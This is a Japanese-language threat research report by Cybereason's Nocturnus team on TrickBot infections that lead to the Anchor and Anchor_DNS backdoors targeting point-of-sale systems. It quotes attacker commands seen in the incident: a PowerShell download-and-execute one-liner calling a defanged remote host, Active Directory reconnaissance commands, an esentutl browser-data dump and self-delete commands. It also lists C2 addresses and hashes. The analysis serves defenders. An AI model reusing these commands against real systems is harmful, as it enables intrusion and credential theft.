- 2019/12/19
- サイバー攻撃
Anchorの投下:TrickBot感染からAnchorマルウェアの検出まで
Post by : CYBEREASON NOCTURNUS
調査・研究者:Assaf Dahan、Lior Rochberger、Eli Salem、Mary Zhao、Niv Yona、Omer Yampel、Matt Hart
サイバーリーズンのNocturnusチームでは、今年10月初旬に始まった、金融サービス業、製造業、小売業に対する標的型攻撃の新たな波を監視しています。サイバーリーズンにより過去に報告された攻撃と同様に、この攻撃は、TrickBot感染により始まり、機密性の高い金融システムを標的としたハッキング活動へと進みます。
ただし、ドメインコントローラーのようなクリティカルな資産をハッキングすることで、大規模なマルウェア感染を引き起こすことを目指していた過去の攻撃(RyukやLockerGogaなど)とは異なり、この新しい攻撃は、PoS(Point-of-Sale)システムを標的とすることを目指しています。また、この攻撃は、新たに検出されたAnchorと呼ばれるマルウェアファミリを使用して、有名企業のみを標的としています。詳細については、過去に掲載したTrickBotを利用したその他の攻撃のレポートをご覧ください。
本レポートでは、TrickBot-Anchor攻撃の次の側面を中心に解説します。
- 攻撃の分析:攻撃に関するステップごとの分析を行います。これには、感染ベクターや、攻撃者が使用するツールや手法に関する詳細な分析が含まれています。
- 新しいマルウェア:Anchorと呼ばれる新しいマルウェアの検出について説明します。これには、Anchor_DNSに加えて、2018年8月(おそらくはそれ以前)から出回っている文書化されていない新しいマルウェアであるAnchorに関する説明が含まれています。Anchor マルウェアは、有名企業のみを標的として選択的に利用されるバックドアであり、TrickBotと緊密に関連付けられているように見えるため、TrickBotの作者と同じ人物が作成したものである可能性が高いと思われます。
本ブログ記事では、攻撃の特性については明示的に言及していませんが、これらの攻撃の特性である、特に動機や一部のツールや手法は、経済的な動機のFIN6脅威アクターに関連付けられる過去の攻撃と似通っています。この脅威アクターは、POSシステムを標的とすることで知られる、過去にTrickBot感染と関連付けられたことのあるグループの1つです。
なお、コモディティ型のマルウェア感染はハッキング活動へとエスカレートする可能性を含んでいるため、本ブログ記事では、その重要性と危険性を強調しています。このようなマルウェア感染は、ランサムウェア感染や、機密性の高い金融データの窃盗のような、悲惨な結果を容易に引き起こす可能性があります。
主なポイント
- TrickBot-Anchor攻撃:サイバーリーズンのNocturnusチームは、米国およびヨーロッパ全土における金融サービス業、製造業、小売業に対する一連の標的型攻撃を調査しています。
- POSシステムが標的:この攻撃はPOSシステムを標的としており、被害者のネットワーク内にあるクリティカルな資産を乗っ取ることで、機密情報を盗み出します。
- 高い価値を持つ標的にバックドアを配備:標的とする有名企業に対して、攻撃者は、レアなAnchor_DNSツールの新しいバリアントを選択的に利用します。Anchor_DNSは、DNSプロトコルを使用してC2サーバーとの通信をステルス的に行うバックドアの1つです。
- 新しい文書化されていないマルウェアを利用:Anchor_DNSの新しいバリアントに加えて、攻撃者は、Anchorと呼ばれる、これまで文書化されていない完全に新しいマルウェアを利用します。Anchorは2018年8月(おそらくはそれ以前)から出回っており、TrickBotと緊密に関連付けられているように見えます。
- TrickBotに拡張機能を追加:本攻撃は、新しい拡張されたスティーリングモジュールを追加します。このモジュールは、KeePassパスワードマネージャーを含む各種の製品からパスワードを盗む出すことを目的としています。
- 既知のツールを利用して偵察やラテラルムーブメントを実行:初期の対話型ハッキング活動の多くは、既知のツールであるMeterpreter、PowerShell Empire、Cobalt Strikeを利用して、偵察やラテラルムーブメントを実行します。
- 認証局の信頼を悪用:本攻撃におけるペイロードの多くは、署名付きバイナリです。これは、認証局の信頼を悪用して検知をすり抜けようとする署名付き脅威のトレンドが高まり続けていることを実証しています。
攻撃の分析:ステップごとの分析
攻撃ツリーの概要(Cybereason Defense Platformでの表示)
感染ベクター
TrickBotのダウンロードとインジェクション
本攻撃は、Google Docs上に置かれている「Annual Bonus Report.doc」という名前のファイルへの悪意あるリンクを含んでいるフィッシングメールから始まります。ユーザーがそのリンクをクリックすると、TrickBotドロッパーが標的マシンへのダウンロードを開始します。
これは、我々が確認した過去のTrickBot攻撃とは異なっています。過去の攻撃では、TrickBotは通常、 Microsoft Office文書か、またはEmotetのような別のマルウェアを通じてドロップされていました。
ユーザーにTrickBotをダウンロードするように仕向けるフィッシングメール
TrickBotダウンローダー
本攻撃は、Microsoft Word文書を装ったアイコンを利用する署名付きのTrickBotダウンローダーを利用します。ユーザーがこのファイルをダブルクリックすると、囮のメッセージボックスが表示されます。疑われないようにするために、この囮のメッセージは、Microsoft Wordをアップデートするか、または別のコンピュータで同ファイルを開くことをユーザーに勧めます。
TrickBotは、本文書をプレビューするたには、 Microsoft Wordをアップデートするか、または別のコンピュータで同ファイルを開くことをユーザーに勧めるメッセージボックスを表示する
これらのファイルは、一見しただけでは正規のMicrosoft Wordファイルと見間違えるかもしれませんが、ファイルのメタデータを良く調べると、これらはMicrosoft Wordには関連付けられておらず、Microsoft Word文書ファイルでもないことが分かります。
この攻撃における初期ペイロードのほとんどは、セキュリティツールをすり抜けるために、有効な証明書を使用して署名されています。同ペイロードは、署名付きバイナリに与えられた相対的な信頼を悪用することで、検知を逃れようとします。
ファイルのメタデータ属性が、偽のMicrosoft Word文書であることを示している
署名付きマルウェアは、検知されずに組織に侵入するための初期エントリポイントである
このメッセージボックスは、TrickBotのペイロードがダウンロードされ、%TEMP%フォルダに保存された後で実行される際に、ユーザーの気をそらすためのものです。新しいプロセスが、TrickBotペイロードをsvchost.exeプロセスへとインジェクトします。
svchost.exeが悪意あるコートをインジェクトした証拠(Cybereason Platformでの表示)
TrickBotペイロードのダウンロードに関連付けられたドメイン
TrickBotのペイロード
TrickBotのメインペイロードがsvchost.exeプロセスにインジェクトされると、同ペイロードは一連の偵察関連のタスクを実行することで、感染したエンドポイントと当該ネットワークのプロファイリングを行います。この情報は、攻撃の進路を決定するものであるため、非常に重要です。
ネットワーク接続のチェック
TrickBotは、複数の指定されたドメインへのアクセスを試みることで、インターネット接続をチェックします。これらのドメインは事前に設定されており、正規のWebサービスに属しています。これには、checkip.amazonaws.com、ipecho.net、ipinfo.io、api.ipify.org、icanhazip.com、myexternalip.com、wtfismyip.com、ip.anysrc.netなどのドメインが含まれています。
TrickBotは、自分自身がインターネットに接続できることを確認した後、C2サーバーとの通信を行います。一部のC2サーバーでは、TOR関連のドメインを利用する場合もあります。 TrickBotは、標的マシンが置かれている場所に関する情報を収集した後、同情報をC2サーバーに送信します。
■ブラウザ履歴とクレデンシャルの盗み出し
TrickBotは、インターネットアクセスを確立し標的マシンの場所に関する情報を送信した後、その悪意あるアクティビティを開始します。core-parser.dllモジュールが、svchost.exeへと反射的にロードされます。
core-parser.dllはTrickBotの構成ファイルをパーシングした後、セカンダリC2通信、リダイレクト、Webインジェクションロジックを実行するためのIPアドレスを抽出します。
core-parser.dllがsvchost.dlへとインジェクトされる
TrickBotは、標的マシンからハードコーディングされているC2 サーバーへと偵察情報を送信します。同C2サーバーは、この剽窃したデータの処理を担当します。
TrickBotの構成ファイルから抽出されたC2サーバーのリスト
また、TrickBotは、LOLBin(living-off-the-land-Binary)手法を使用して 組み込み型のWindowsツールであるESENTUTLを実行することにより、Internet Explorerからデータを盗み出します。
esentutl /p /o C:\Users\[USER]\AppData\Local\Temp\grabber_temp.edbコマンドの実行
このコマンドは、Extensible Storage Engine(ESE)データベースフォーマットをダンプします。
■アプリケーションに固有のクレデンシャルの窃盗
このTrickBotのバリアントは、新しい独自機能を使用して、無料で利用できるオープンソースのパスワードマネージャーであるKeePassからパスワードを盗み出します。
TrickBotのKeePass窃盗機能は、PoshKPBruteと呼ばれる公的に入手可能なツールによりインスパイアされた(または同ツールのソースを部分的にコピー&ペーストした)ものであるように思われます。
PoshKPBruteは、KeePassの.kdbxファイルに対する辞書攻撃を実行するスクリプトです。 同ツールは、辞書キーを見つけると、すべてのパスワードを出力としてダンプした後、マスターパスワードを攻撃者に送信します。
KeePass:ブルートフォース型の窃盗ツール
さらに、TrickBotのスティーラーモジュールは、Filezilla、OpenSSH、OpenVPNからキーを抽出しようと試みます。
TrickBotは、Filezilla、OpenSSH、OpenVPNからキーを盗み出そうとする
■偵察コマンド
攻撃者は、複数の作成済みのPowerShellコマンドに加えて、いくつかの正規のWindowsプロセスを利用して情報を収集します。これには、nltest.exe、net.exe、ipconfig.exe、whoami.exe、nslookup.exeなどのプロセスが含まれます。これらは次のものに関する情報を収集します。
- すべての信頼ドメイン、ドメイン、およびドメインコントローラー
- 当該ネットワーク上にあるコンピュータやネットワークデバイスの一覧
- 感染したマシンのユーザー、および同ユーザーが所属しているグループ
- 感染したマシン(マシン名、オペレーティングシステム、ワークステーションのドメインなどを含む)
- 当該マシンおよびDNSサーバーに接続しているネットワークアダプター
net.exeのプロセスツリー
Nltest / domain_trusts /all_trusts
Net view /all
Nltest /domain_trusts
Net view /all /domain
Ipconfig /all
Net config workstation
Nslookup “-q=srv_kerberos._tcp”
/c “start microsoft-edge:http://127.0.0.1:52715/11984”
TrickBotにより実行される偵察コマンド
また、攻撃者は、PowerShellを使用してDNSエントリの設定をテストします。攻撃者は、 nslookup.exeプロセスで-q=srv_kerberos_tcpコマンドを使うことにより、対話型のシェルをオープンします。
さらに、攻撃者は、ドメインコントローラーの一覧などを検索することにより、同シェルを使用して検索をネットワーク上にある他のマシンへと拡張できます。
TrickBotによるDNS設定のテスト
上記のことを踏まえた結果、我々は、攻撃者の目標が、単に標的マシンに感染することだけでなく、組織内にある複数のマシンへと感染を広げることにあると推測しました。
TrickBot感染から対話型のハッキングまで
脅威アクターは、C2サーバーへと送信された情報を評価した後、価値の高い標的への感染に成功したかどうかを確認します。感染に成功した場合、攻撃者は、対話型のハッキングに切り替えることで、自らの活動をエスカレートさせます。
その結果、偵察、クレデンシャルのダンプ、ラテラルムーブメントを実行するほか、一部のケースでは、当該ドメインコントローラーに接続しているエンドポイントを通じてランサムウェアを大量に配備します。
PowerShellのペイロード
脅威アクターは、PowerShellを使用して追加のペイロードを標的マシンに送信します。コマンドを発行することで、セカンダリサーバーからペイロードをフェッチします。ペイロードがダウンロードされると、標的マシン上で、PowerShell経由で直ちにそれを実行します。
powershell.exe -nop -WindowStyle Hidden -executionpolicy bypass -c “IEX ((new-object net.webclient).downloadstring(‘hxxps://northracing[.]net/?a=irs&x=[base64]’))”
northracing[.]netというURLは、Webページのコンテンツ内にPowerShellスクリプトを含んでいます。我々は、この具体的なインシデントで使われていたスクリプトをフェッチすることはできませんでしたが、上記のPowerShellスクリプトで使われていたクエリパラメータ(?a=irs&x=)を変えることで、同様のアクティビティに関するサンドボックスサポートを見つけることができました。
このPowerShellペイロードは、次の2つのステージを実行します。第1ステージは、基本的な情報をC2ドメインに送信した後、応答を待機し、活動を続けるべきかどうかを判断します。
脅威アクターが停止フラグを送信しない場合、同PowerShellスクリプトは繰り返し実行され、ペイロードのフェッチ元であるドメインと同じドメインに対してデータをPOSTし続けます。各POSTリクエストは、ユーザーのホスト名から生成されたUUIDおよび現在のプロセスIDと共に送信されます。
ペイロードにより各POSTリクエストと共に送信されるデータ
当該マシンに関する基本情報を含むPOSTリクエストが送信されます。これには、現在のユーザーおよびそのドメイン、ファイルシステムのルート(root)、オペレーティングシステムに関する情報が含まれています。
PowerShellペイロードはWMIを使用してシステム情報をプローブする
この情報は、`i`パラメータと共にC2サーバーへと送信されます。応答を受け取ると、ペイロードは、その応答が値cex01に一致するかどうかをチェックします。
応答がcex01に一致した場合、PowerShellスクリプトはタスクの実行を中止し、当タスクをキルします。応答がcex01以外の値だった場合、同スクリプトは、応答に基づいてタイムアウト変数を設定した後、メインループを続行します。
これは、攻撃者が、特定のWindowsドメインを標的としているか、それとも特定のオペレーティングシステムのバージョンを標的としているかのどちらかを意味します。
メインループは、POSTリクエストを`t`パラメータと共にサーバーへと送信します、これは、サーバーからの次なるコマンドをリクエストします。
POSTリクエストをサーバーに送信するメインループ
脅威アクターからの応答内の各行には、Base64でエンコードされたコマンドが含まれており、このコマンドはデコードされた後、Invoke-Expression(IEX)コマンドレット経由で、PowerShelを使用して直ちに実行されます。同コマンドの出力は、“a”パラメータ付きのPOSTリクエストを使用して、C2サーバーへと送信されます。
MeterpreterおよびCobalt Strikeのインプラント
Meterpreterを利用したハッキング活動の開始を示す攻撃ツリー
■Meterpreterのインプラント
攻撃者は、Meterpreterのインプラントを使用して、ポストエクスプロイテーションアクションを実行します。Cybereason Platformは、シェルコードと反射的にメモリにロードされる各種のMeterpreter DLLの両方を検知します。検知されたDLLには次のものが含まれています。
- Metsrv.dll:Meterpreterの場合、ここにはプロトコルや拡張システムが実装されています。
- Ext_server_priv.x86.dll:権限昇格を実現します。
- Ext_server_stdapi.x86.dl:偵察に使用されるポストエクスプロイテーションモジュールmetasploitです。
Cybereasonは、Meterpreterエージェントとして反射的にロードされる悪意あるモジュールと、同Meterpreterエージェントによって実行されるシェルコードを検知します。
ロードされたモジュールを調べることで、どのMetasploit がロードされたかを示すことができる
Meterpreterエージェントは、外部IPアドレス91.12.89[.]129とのポート4444での接続を開始します。
■Cobalt Strikeのインプラント
攻撃者はMeterpreterを使用して、Cobalt Strikeおよびその他のMetasploitペイロードをrundll32.exeプロセスに対してインジェクトします。
攻撃者は、Cobalt Strikeおよびその他のMetasploiペイロードをrundll32.exeプロセスに対してインジェクトする
Detection of Cobalt Strike、Meterpreter、シェルコード実行の検知
攻撃者は、次のmetasploitモジュールを利用します。
- ext_server_extapi.x86.dll:クリップボードデータを取得し、NTDSファイルの操作と復号を行います。
- ext_server_priv.x86.dll:権限昇格を実行します。
- Ext_server_stdapi.x86.dll:偵察活動を実行します。
- Bypassuac.x64.dll:ユーザーアカウント制御(UAC)をすり抜けるために使用されるポストエクスプロイテーションモジュールです。
rundll32.exeへと反射的にロードされるポストエクスプロイテーションモジュール
外部IPアドレス199.217.115[.]53とのポート8443での接続
MeterpreterとCobalt Strikeはどちらも正規の侵入検査ツールであり、さまざまな脅威アクター(FIN6脅威アクターなど)によって繰り返し利用されています。
■Cobalt Strikeを使用したActive Directoryの検出
脅威アクターは、次に示す既知のCobalt Strikeモジュールを使用して、Active Directory情報を列挙します。
- https://github.com/killswitch-GUI/CobaltStrike-ToolKit/blob/master/Invoke-DACheck.ps1
- https://github.com/killswitch-GUI/CobaltStrike-ToolKit/blob/master/Initial-LAdminCheck.cna
攻撃者は、複数のBase64でエンコードされたPowerShellコマンドを実行することで、感染したマシンのユーザーが管理者またはドメイン管理者グループに所属しているかどうかを判定します。
ユーザーが管理者であることを確認した後、脅威アクターは、別のBase64でエンコードされた圧縮済みのPowerShellコマンドを使用して、ドメインコントローラーとそれらのIPアドレスに関する情報を収集します。
難読化され圧縮されたPowerShelコマンド
復号されたPowerShellコマンドは、ドメインコントローラー情報の収集を試みる
■ADfindを使用したActive Directoryの検出
攻撃者は、ADfind.exeツールを実行することでWindowsドメインのユーザー、グループ、コンピュータを列挙するバッチスクリプトを配備します。
adfind.exe -f “(objectcategory=organizationalUnit)”
adfind.exe -gcb -sc trustdmp
adfind.exe -f “objectcategory=computer”
adfind.exe -sc trustdmp
adfind.exe -f “(objectcategory=person)”
adfind.exe -subnets -f (objectCategory=subnet)
adfind.exe -f “(objectcategory=group)”
報告によれば、ADfindツールは、FIN6関連の攻撃において過去に使用されているようです。
新たなAnchor_DNSバリアントの検出
これらの攻撃におけるペイロードの中で最も興味深いものが、Anchor_DNS マルウェアです。これは、2019年10月にNTT Securityにより初めて検出されたマルウェアです。
同マルウェアは、NTTにより、DNSトンネリングを使用してC2サーバーとの通信をステルス的に実行する、悪名高いTrickBotマルウェアのバリアントとして分類されています。
このバリアントは2019年10月の初めて発見されたものですが、Anchor_DNS は、それよりずっと前の2019年3月に利用されていたという証拠があります。
観測された最古のAnchor_DNSのサンプル(SHA-1: b388243bf5899c99091ac2df13339f141659bbd4)
この新しいバリアントは、有名企業を標的として選ぶ、洗練されたステルス型のバックドアとして機能します。Anchor_DNSの開発サイクルは今もなお迅速であり、数週間ごとにコードの変更や新機能のアップデートが行われています。
これは2019年11月に登場したAnchor_DNSの新しいバリアントであり、コードや振る舞いに関して次のような違いがあります。
- 以前のサンプルにあった事項削除メカニズムがない
- オンラインのWebサービスを使用したインターネット接続チェックがない
- ICMP(ping)を使用したC2の利用可能性をチェックする機能が組み込まれている
- 部分的な文字列暗号化とコード難読化が追加されている
観測結果の静的分析
ファイル名 | SHA-1 |
---|---|
anchorDNS_x64.exe | 5f1ad1787106de9725005d8da33d815d0994ee83 |
anchorDNS_x64.exeには、マルウェアの名前であるAnchor_DNSと共に、PDBパスが含まれています。このファイルは、Anchor_DNSの64ビット版ですが、過去には32ビット版の初期インスタンスも存在していました。プロジェクト名には、これがAnchor_DNSの5番目のバージョンであることが示されています。
`PDB PATH: C:\simsim\anchorDNS.v5\Bin\x64\Release\anchorDNS_x64.pdb
Anchor_DNSのコード内の多くの文字列には、多くのタイプミスや文法上の誤りが含まれており、これは、Anchor_DNSの作者はネイティブの英語話者ではないという我々の疑念を裏付ける証拠となっています。
Anchor_DNSのコード内には多くのタイプミスや文法上の誤りが含まれている
脅威アクターは、この新しいAnchor_DNSのバリアントを難読化するためにかなりの努力を費やしており、スタック文字列や文字列の暗号化しているほか、パッカーを実装しています。次の例は、 Anchor_DNSの古いバリアントと新しいバリアントの間で、WinMain()関数のコードが大きく異なっていることを示しています。
Anchor_DNSは、特定の実行フラグを使用することで、気付かれない状態を維持できます。これらのコマンドライン引数が提供されない場合、Anchor_DNSは終了します。
●-iフラグ:
次の命名規則を使用してスケジュールされたタスクを作成します:[%APPDATA%内にあるランダムなフォルダ名] autoupdate#[random_number](例:“Notepad++ autoupdate#94654”)
NTFS ADSファイルを書き出します($TASK, $GUID, $FILE)
別のデータストリーム | ADSの中身 | Decoded Contents |
---|---|---|
edskype.exe:$FILE | QzpcVXNlcnNcdXNlclxBcHBEYXRhXFJvYW1pbmdcU2t5cGVcZWRza3lwZS5leGU= | C:\Users\user\AppData\Roaming\Skype\edskype.exe |
edskype.exe:$TASK | Tm90ZXBhZCsrIGF1dG91cGRhdGUjOTQ2NTQ | Notepad++ autoupdate#94654 |
edskype.exe:$GUID | [BASE64] | /anchor_dns/[COMPUTER_NAME]_[Windows_Version].[clientID]/ |
●-uフラグ:
新バリアント: マルウェアのC2とのメインの通信モジュールを実行します。
旧バリアント:
●コピーを%TEMP%にドロップします。
●ADSファイルの作成($GUID, $FILE)
●-sフラグ:
旧バージョンのAnchor_DNSでのみ提供され、パーシステンスを生成せずにプログラムを実行し、実行後に自己削除を行います。
●–log=:
C:\Users\[USER]内に書き出すログファイルの名前を指定します。
Anchor_DNSにより生成されたデバッグファイルの内容
■C2サーバーとの通信
旧バージョンおよび新バージョンの Anchor_DNS はどちらも、DNS経由での通信を行います。
ただし、ここで紹介する新バージョンは、ipinfo.ioのような正規のWebサービスを使用してインターネット接続をチェックするのではなく、その代わりにICMPプロトコルを使用する組み込み型の機能を使って、サーバーの利用可能性をチェックします。
C2サーバー接続の判定
■DNSトンネリング
Anchor_DNSは、DNSトンネリングを使用して、DNS経由でC2サーバーとの通信を行います。この手法により、Anchor_DNSは、データの転送、コマンドの受信、その他のペイロードのダウンロードを実行します。
詳細については、古いAnchor_DNSのサンプルに関するNTT Securityのレポートをご覧ください。
DNSトンネリングを実装することで、Anchor_DNSは、特定のネットワークプロトコルのブロックや、DNSトラフィックの監視を行うセキュリティ製品による検知を逃れることができるようになりました。
Anchor_DNSにより生成されるDNSトラフィックの例
AnchorマルウェアおよびそのTrickBotへの接続の検出
我々は調査中に、TrickBot感染に関連する、複数の未確認のマルウェアのサンプルを見つけました。同マルウェアは、その作者によりAnchorと呼ばれており、2018年8月より活動を続けています。
Anchor_DNSとは異なり、AnchorマルウェアはDNS経由での通信を実装していません。ただし、Anchorは、行動、コード、文字列に関してAnchor_DNSと多くの類似点があるほか、TrickBotとの類似点もいくつかあります。
観測された最初期のAnchorのサンプル(SHA-1:3ed09498214d93c9ec14a15286546d242ad58943)
見つかった最初期のAnchor サンプルのPDBパス
多くのAnchor サンプルは、アンチウイルス(AV)ベンダーによる検知率が非常に低いかまたはゼロです。これが、このマルウェアに関する報告が限られている理由です。
VirusTotal上で見つかったAnchorペイロードの一覧(検出率ゼロ)
同マルウェアには、x86版とx64版があり、同マルウェアをインストールするためのインストーラーコンポーネントが含まれています。
ペイロード名 | ハッシュ | PDBパス |
---|---|---|
anchorInstaller_x86 | 3ed09498214d93c9ec14a15286546d242ad58943 4bba60ff11f8b150b004960c658ad74a707ebcea |
D:\MyProjects\secondWork\Anchor\Win32\Release\anchorInstaller_x86.pdb C:\Users\ProFi\Desktop\data\Win32\anchorInstaller_x86Code\anchorInstaller_x86.pdb |
anchorInstaller_x64 | e75983b073ff0632e35e237f6622466c2699687c | |
Anchor_x86 | Bd26238fb7d7e16ea79073d882bba00d34dd859c F3683a0c12154e8bf44d9d942db3eac9e930e7a5 9ebb541dcb24d564448a6f5e00c613b73eba7148 |
D:\MyProjects\secondWork\Anchor\Win32\Release\Anchor_x86.pdb C:\Users\ProFi\Desktop\data\Win32\anchorInstaller_x86Code\Anchor_x86.pdb D:\Anchor\Anchor\Win32\Release\Anchor_x86.pdb |
Anchor_x64 | 46c595e580719a4c54f55b4041f81d6e50ab4062 e5dc7c8bfa285b61dda1618f0ade9c256be75d1a |
D:\Anchor\x64\Debug\Anchor_x64.pdb C:\[JOB]\Anchor\x64\Release\Anchor_x64.pdb |
Anchorのペイロードは、AnchorInstallerにより提供されます。AnchorInstaller は、Anchor DLLをアンパックした後、それを%SYSTEMROOT%または%SYSTEMROOT%\System32フォルダ内にドロップします。続いて、このドロップされたDLLが、同マルウェアにより作成されたサービスであるnetTcpSvcによってロードされます。
レジストリ内に見つかったAnchorサービスのパーシステンス
NTFS ADSファイル:GUIDの保存
Anchor_DNSと同様に、Anchorは、そのGUIDを保存するために、$GUIDという名前のNTFS ADSファイルを作成します。
AnchorのGUIDがNTFS ADSファイルとして保存される
情報をBase64形式で保存するAnchor_DNSとは異なり、AnchorのGUIDはプレーンテキストで保存されます。
自己削除
Anchorおよび旧バージョンのAnchor_DNSは、同マルウェアが正常に配備された後、ドロッパーが削除されることを保証するために、次に示す2つのコマンドセットを使用して、まったく同じ自己削除ルーティンを実装しています。
- cmd.exe /c timeout 1 && del C:\Users\[USER]\[SAMPLE_LOCATION]”
- cmd.exe /C PowerShell ‘Start-Sleep 5; Remove-Item C:\Users\[USER]\[SAMPLE_LOCATION]’
C2サーバーとの通信
TrickBotと同様に、Anchorは、そのC2サーバーとの通信に先立って、インターネット接続を確立し、標的マシンの外部IPをチェックしようとします。Anchorは、次に示すハードコーディングされたWebサービスを使用して接続をテストします。
インターネット接続が確立されたら、ハードコーディングされた一連のC2サーバーとの通信を行います。
ハードコーディングされた一連のC2サーバーとの通信
リクエストと応答は、TrickBotと同じC2通信の形式に従います。
Anchorにおけるリクエストと応答の形式
Anchor / Anchor_DNSを TrickBotへと接続
AnchorとAnchor_DNSはどちらも、それらがTrickBotによりセカンダリペイロードとしてダウンロードされた時点で、TrickBot感染へと直接関連付けられます。また、両者には、下記に示すようにその他の類似点もあります。
■GUID生成関数
Anchor_DNSとAnchorのGUID生成関数は、TrickBotにより生成されるGUID生成関数とほぼ同じものであると思われます。GUIDは次のパターンに従います。
[Machine_NAME]_[Windows_Version].[Client_ID]
マルウェア名 | GUID |
---|---|
Anchor_DNS | /anchor_dns/MACHINE-001_W617601.D4CB942AA18EFF519DCBCAE88A0A99FB/ |
Anchor | /anchor001/jujubox-PC_W617601.6E8516CA48318FB2904E2027B5350B26 |
Trickbot | /mor49/DAVID-PC_W10017134.55C60B5D13499341D72F5A34C632CFD9 |
■外部IPチェック用のWebサービス
Anchorおよび旧バージョンのAnchor_DNSはどちらも、ハードコーディングされたオンラインのWebサービスのリストを使用して、インターネット接続を判定し、感染したマシンの外部IPアドレスをチェックします。TrickBotでも、これと同じリストを使用します。
このリストには、checkip.amazonaws.com、ipecho.net、ipinfo.io、api.ipify.org、icanhazip.com、 myexternalip.com、wtfismyip.com、ip.anysrc.netが含まれています。
一部のケースでは、インターネット接続を確立できない場合、Anchorおよび旧バージョンのAnchor_DNSは自分自身を削除します。
■共有C2インフラストラクチャ
TrickBot、Anchor、およびAnchor_DNSは、通常、別々のC2インフラストラクチャを利用します。ただし、この攻撃の一部のインスタンスでは、これらのインフラストラクチャ間でC2サーバーの重複が存在する場合があります。
たとえば、Anchor サンプルでハードコーディングされているIPアドレスである23.95.97[.]59は、Anchor_DNSおよびTrickBotでも使用されています。
ハードコーディングされたIPを含むAnchorサンプル (SHA-1: 9ebb541dcb24d564448a6f5e00c613b73eba7148)
TrickBotへの接続
上記のIPアドレスは、squlDLL プラグインをダウンロードするためにTrickBot によって使用されます。同プラグインには、SQL Server、screenlocker、Mimikatzから情報を収集する電子メールが含まれています。
Anchor_DNSへの接続
これと同じIPアドレスは、Anchor_DNSが以前使用していたドメイン名であるchishir[.]comへと解決されます。
23.95.97[.]59のパッシブDNS情報(VirusTotalにより取得)
Anchorマルウェアファミリ間の比較
Anchorマルウェアファミリに属している各種のマルウェア間の比較を下記の表に示します。
特徴 | Anchor | 旧Anchor_DNS | 新Anchor_DNS |
---|---|---|---|
初めてサンプルが観測された時期 | 2018年8月 | 2019年5月 | 2019年11月 |
コマンドライン引数の有無 | × | ○ | ○ |
自己削除 | ○ | ○ | × |
ICMP経由のネットワーク接続チェック | × | × | ○ |
Webサービス経由のネットワーク接続チェック | ○ | ○ | × |
NTFS ADSファイル | ○ | ○ | ○ |
TrickBotのGUID生成パターン | ○ (プレーンテキスト) |
○ (Base64) |
○ (Base64) |
コードの難読化 | ごくわずか | ごくわずか | 難読化されたコード |
C2通信プロトコル | HTTP(S) | DNS | ICMP、DNS |
署名付きマルウェアの増加
コードサイニングは、開発者が作成するバイナリにある程度の信頼性と整合性を提供すること、および同バイナリが改ざんされていないことを保証することを意図しています。
過去において、マルウェアに署名することは、主に国家的な脅威アクターで見られた行為でした。しかし、もはやこれは当てはまりません。
現在、ますます多くのコモディティ型のマルウェアが、有効な証明書を使って署名されるようになっており、これらのマルウェアでは、署名付きのバイナリに信頼を与える一部のセキュリティソリューションを効果的にすり抜けることが可能となっています。
この攻撃における悪意あるファイルは、次の組織により署名されていました。
- Biller FIN Oy
- NIRMAL 0013 Limited
- BRO-BURGER, LLC
TrickBotのペイロードおよびAnchor / Anchor_DNSのペイロードは、しばしば同じ署名者により署名されており、これは、これらのマルウェアが同一の脅威アクターにより利用されている可能性が高いことをより明確に示す証拠となっています。
その他の署名付きの既知および未知のファイルを探す中で、我々は、同じ組織によって署名されたマルウェアのサンプルを数多く特定できました。そのうちの一部は、同じシリアル番号で署名されていました。
1.署名者Biller FIN Oy:
VirusTotalの署名者名検索を使うと、攻撃に関連付けられているマルウェアを表示できます。
VirusTotalのシリアル番号検索を使うと、攻撃に関連付けられているマルウェアを表示できます。
結論
このレポートでは、米国およびヨーロッパにおける、金融サービス業、製造業、小売業を標的とした最近の攻撃に関するステップごとの詳細な分析を紹介しました。
これらの攻撃は、TrickBot感染により始まり、その後、有名企業を標的とした、新しいマルウェアであるAnchorやAnchor_DNSの新しいバリアント利用したハッキング活動へとエスカレートします。
大規模なマルウェア感染を引き起こした、過去に報告されたTrickBot攻撃とは異なり、これらの新しい攻撃は、クリティカルな資産をハッキングすることで、被害者のネットワーク内にあるPOSシステムやその他の機密リソースから機密性の高い情報を盗み出すことを目指しています。
また、Cybereasonは、これまで文書化されていなかったAnchorと呼ばれるマルウェアを検出したほか、最近発見されたAnchor_DNSマルウェアの新しいバリアントを検出しました。
AnchorとAnchor_DNSはどちらも、TrickBot感染へと直接関連付けられるものであり、コードに関する類似点があるほか、時にはTrickBotとC2インフラストラクチャを共有する場合もあります。
Anchor_DNSは、気付かれない状態を維持するためにDNS経由の通信のような各種の手法を利用するほか、適切な実行を可能にするために特定のコマンドライン引数を利用します。
これらの手法を通じて、Anchor_DNSは、特定のサンドボックスやアンチウイルス(AV)ベンダーの検知を逃れることができます。
これらの攻撃は、利用頻度や量の多さが原因でしばしば過小評価されている、コモディティ型のマルウェア感染が持つ危険性を強調するものです。
このような攻撃では、1台のエンドポイントがTrickBotに感染すると、次なる動きを決定する主導権を握るのは攻撃者になることに注意してください。
攻撃者が価値の高い標的を特定した場合、彼らは、TrickBotが持つ従来型の情報窃盗機能を超えて、標的マシンをネットワーク上にある他のマシンへのエントリポイントとして利用できるようになります。
このレポートでは、これらの攻撃の帰属についてはあまり取り上げませんでした。ただし、我々の調査によりもたらされた証拠やコンテキストの分析を通じて、我々は、経済的な動機を持つFIN6脅威アクターに帰せられる初期の攻撃との間で、特定のTTPが重複していることに気付きました。これらの攻撃の帰属に関して独自の結論を引き出すことは、読者にお任せします。
最後に、これらの攻撃は、いかに脅威アクターが署名付きマルウェアへと移行しているかを示しています。このトレンドは今後も伸び続けるため、セキュリティ実践者およびセキュリティベンダーは、署名付きマルウェアの検知を改善すると同時に、署名付きバイナリに対して広く与えられている信頼を見直す必要があります。
このような攻撃に対する防御を行う最良の方法を、対話型のセキュリティプロセスを使用することです。詳細については、当社のホワイトペーパーをご覧ください。
IoC(Indicators of Compromise:痕跡情報)
痕跡情報の包括的な一覧に関しては、本攻撃に関するPDFファイルをご覧ください。
MITRE(マイター)社のATT&CKに基づくテクニックの分類
最初のアクセス
実行
・ユーザー実行
・スケジュールされたタスク
・API経由の実行
・コマンドラインインターフェイス
・PowerShell
・Rundll32
・スクリプト作成
・Windows Management Instrumentation(WMI)
・モジュールロード経由での実行
パーシステンス
・スケジュールされたタスク
・ブラウザの拡張
・プロセスインジェクション
権限昇格
・スケジュールされたタスク
・ユーザーアカウント制御(UAC)のすり抜け
・アクセストークン操作
防御の回避
・レジストリの変更
・コードサイニング
・プロセスインジェクション
・ファイルや情報の難読化解除/デコード
・ユーザーアカウント制御(UAC)のすり抜け
